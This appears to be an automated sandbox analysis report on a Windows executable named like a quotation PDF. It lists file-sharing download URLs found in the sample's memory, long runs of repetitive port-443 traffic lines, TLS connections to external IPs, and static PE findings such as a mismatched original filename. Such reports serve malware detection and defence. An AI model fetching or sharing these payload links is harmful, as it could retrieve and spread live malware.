Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E999000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/qr9THGkhopIj
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E81C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/rNUQbvqXCkvY
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/sHIqABNcW3Ed
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.iox

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50216 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION_OCTQTRA071244PDF.scr.exe

Source: C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Process Stats: CPU usage > 49%

Source: QUOTATION_OCTQTRA071244PDF.scr.exe

Static PE information: No import functions for PE file found

Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000000.1696208302.000002105CA31000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePfnzk.exe> vs QUOTATION_OCTQTRA071244PDF.scr.exe
Source: QUOTATION_OCTQTRA071244PDF.scr.exe	Binary or memory string: OriginalFilenamePfnzk.exe> vs QUOTATION_OCTQTRA071244PDF.scr.exe

Source: classification engine

